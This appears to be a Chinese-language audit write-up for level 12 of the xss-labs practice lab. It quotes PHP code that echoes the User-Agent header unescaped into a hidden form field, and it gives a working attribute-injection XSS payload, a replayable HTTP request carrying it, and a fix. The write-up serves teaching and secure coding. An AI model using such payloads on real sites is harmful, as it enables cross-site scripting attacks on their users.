xss-labs-level12-代码审计报告

28次阅读
没有评论

xss-labs Level12 代码审计报告

目标文件: level12.php | 漏洞类型: 反射型 XSS —— HTTP User-Agent 头注入隐藏字段 | CWE: CWE-79 / CWE-80 | 危害等级: 中危
风险路径: 携带恶意 User-Agent 头 → <input name="t_ua" value="..."> 属性注入


一、漏洞代码定位

level12.php 第 17-27 行:

$str = $_GET["keyword"];                       // L17
$str00 = $_GET["t_sort"];                      // L18
$str11 = $_SERVER['HTTP_USER_AGENT'];          // L19 从 UA 头取数
$str22 = str_replace(">", "", $str11);         // L20 删除 >
$str33 = str_replace("<", "", $str22);         // L21 删除 <
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">   // L26 已转义(安全)
<input name="t_ua"  value="'.$str33.'" type="hidden">                      // L27 危险:UA 未转义
</form>
</center>';

漏洞点: L27。HTTP_USER_AGENT 头只删除了 </>,未转义引号即拼入隐藏字段 value。


二、漏洞原理

  • 与 Level11 同型,只是把向量从 Referer 换成 User-Agent。UA 是任何请求都能伪造的头,同样可用 Yakit/代理重放。
  • 隐藏字段不能直接触发事件,需注入 type="text" 覆盖 hidden + onfocus/autofocus 组合(见 Level10 报告)。
  • t_sort 被转义、UA 漏转义 —— 同一页面对不同外部输入做了不一致的处理。

三、利用方式与 Yakit 可重放数据包

User-Agent 头 Payload(URL 解码后):

" type="text" onfocus=alert(1) autofocus="

渲染结果:

<input name="t_ua" value="" type="text" onfocus=alert(1) autofocus="" type="hidden">

Yakit 可重放原始请求(关键在 User-Agent 头):

GET /level12.php HTTP/1.1
Host: 127.0.0.1
User-Agent: " type="text" onfocus=alert(1) autofocus="
Accept: text/html
Connection: close

触发方式: 输入框被覆盖为 type=text 并 autofocus,onfocus=alert(1) 触发 → 命中通关逻辑跳转 level13。


四、修复建议

// UA 进入 HTML 前必须编码;更优是不要回显 UA
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : "";
$safe = htmlspecialchars($ua, ENT_QUOTES, 'UTF-8');
echo '<input name="t_ua"  value="'.$safe.'" type="hidden">';

要点:

  1. 所有 HTTP 头等同外部输入,进入 HTML 前统一 htmlspecialchars ENT_QUOTES。
  2. 隐藏字段建议用服务端数据驱动,不回显用户可控值。
  3. 审计时排查 $_SERVER 中每个被 echo 的头字段。

五、备注

  • 与 Level11 一并修复: 建议在公共输出封装里统一对所有"回显给前端的值"做编码,避免逐点遗漏。
正文完
 0